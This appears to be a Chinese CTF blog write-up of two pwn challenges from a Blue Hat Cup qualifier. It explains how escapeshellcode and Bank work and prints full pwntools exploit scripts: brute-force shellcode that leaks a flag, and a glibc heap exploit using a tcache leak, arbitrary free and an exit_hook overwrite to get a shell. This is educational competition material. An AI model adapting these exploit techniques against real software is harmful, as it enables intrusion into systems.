这次蓝帽跟着fallw1nd师傅一起,摸进了半决,希望能顺利去一次线下捏qwq
pwn1-escapeshellcode
1、程序逻辑:
程序main函数如下:
开了沙箱禁用了 syscall 。在 mem 的函数里,调用了 mtprotect 函数,让 malloc 出来的区域具有 rwx 权(这也是利用setcontext去orw的一个重要函数)
在init_flag函数内将当地一个flag读入到程序内存中,储存在bss段
最后给了一次执行shellcode的机会,但是在执行我们自身的shellcode前,程序会将出了rip之外的寄存器全部设置成0xdeadbeef,所以我们不能用push和pop去还原寄存器(因为这两个都需要对栈帧进行操作,但是我们的栈帧寄存器也寄了,所以用push和pop就会出错),所以我们可以用jmp或者lea(这里用lea是因为有一个堆地址在rip中)
2、解题思路:
利用rip寄存器中残留的堆地址,逐段逐段的爆破bss段地址,最后加上偏移拿到flag的地址,系统调用write打印
3、exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import* p=remote('39.107.108.120',15546)
context.os = 'linux' context.log_level = 'debug' context.arch = 'amd64'
sc=asm(""" mov rdi, 1 lea rsi, [rip-0x600000] and rsi, 0xfffffffff0000000 mov edx, 0x50 L1: mov rax, 1 add rsi, 0x1000 syscall test eax, eax jng L1 add rsi, 0x4120 mov rdi, 1 mov rax, 1 syscall """) p.send(sc)
p.interactive()
|
pwn2-Bank
这题赛中没做出来orz,当时从0开始的手搓shellcode去orw花费了一天(我太菜了
1、程序逻辑:
模拟了一个银行,在deposit功能中存在漏洞,可以刷钱。
在transfer功能中,根据transefer的用户不同,会有不同的操作
guest:malloc出一个size为0x21的chunk,并且能写入0x10大小的data
admin:从qword_203050这个地方的值开始偏移(这个偏移是你transfer的数量*8)去读,这里存的是一个堆地址,因此可以越界读堆内的内容
hacker:任意地址free
ghost:realloc
abyss:一次任意地址写,并且有exit(0)
2、解题思路
首先利用realloc释放一个堆块进入tcache,利用admin越界读出这个tcache bins的key字段,得到堆地址。这里要注意我们需要先抬高这个tcache的位置,因为transfer给admin的数值不能太小,所以如果我们直接整tcache,输入的数值会过小导致无法读出。
然后malloc一个堆块,data区伪造成一个大小合适的chunk头,任意地址free掉它,让它进入unsorted bin。这里也要注意,在free中,操作系统会将check这个地址+size的地方是不是一个合法的chunk头,如果不是就会报错,所以我们需要再抬高,并且在对应位置伪造出一个chunk头。这里我们就能拿到libc基址
最后abyss这里,写exit_hook然后程序退出,成功getshell
小tips:如果本机是2.31的最新版本,这题打exit_hook是会寄的,因为那个段不可写orz,建议patch它给的libc
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| from pwn import*
elf=ELF('./Bank') context.os = 'linux' context.log_level = 'debug' context.arch = 'amd64' p=process('./Bank') def menu(choice): p.sendlineafter("Click:",str(choice)) def Login(card,pasw): menu("Login") p.sendline(str(card)) sleep(0.1) p.sendline(str(pasw)) def put(num): menu("Put") p.sendlineafter("How Much?",str(num)) def deposit(num): menu("Deposit") p.sendlineafter("How Much?",str(num)) def malloc_one(data): menu("Transfer") p.sendlineafter("who?","guest") p.sendlineafter("How much? ","10") p.sendafter("data:",data) def realloc_ptr(size): menu("Transfer") p.sendlineafter("who?","ghost") p.sendline(str(14)) p.sendlineafter("ghost: &^%$#@! :)",str(size)) def show_sth(pad): menu("Transfer") p.sendlineafter("who?","admin") p.sendlineafter("?",str(pad)) def my_exit(ptr): menu("Transfer") p.sendlineafter("who?","abyss") p.sendlineafter("?","0") sleep(0.1) gdb.attach(p) p.send(ptr) def Log(name): log.success(name+' = '+hex(eval(name))) def richman(num): for i in range(50): put(num) deposit(num) put(num) num*=2 return num def free(addr): menu("Transfer") p.sendlineafter("who?","hacker") p.sendlineafter("?","60") p.sendlineafter("hacker: Great!",str(addr)) Login(2315125,235413) cash=0x190 richman(cash) for i in range(9): malloc_one("xxxx") realloc_ptr(0x10) malloc_one("1111") realloc_ptr(0x30)
show_sth(0x148/8) p.recvuntil("I think ") heap_addr = int(p.recvuntil(" is", drop=True), 16)-0x10
Log("heap_addr")
malloc_one("1072") malloc_one(p64(0)+p64(0x441))
malloc_one("aaaaa") malloc_one(b"x ") unsorted=heap_addr+0x458 print(hex(unsorted)) for j in range(39): malloc_one(p64(0)+p64(0x21))
free(heap_addr+0x470) show_sth(0x1d0/8) p.recvuntil("I think ") libcbase=int(p.recvuntil(" is", drop=True), 16)-0x1ebbe0
Log("libcbase")
free(heap_addr+0x2a0)
malloc_one(p64(libcbase+0x222f70)*2) og=[0xe6c7e,0xe6c81,0xe6c84]
my_exit(str(libcbase+og[0]))
p.interactive()
|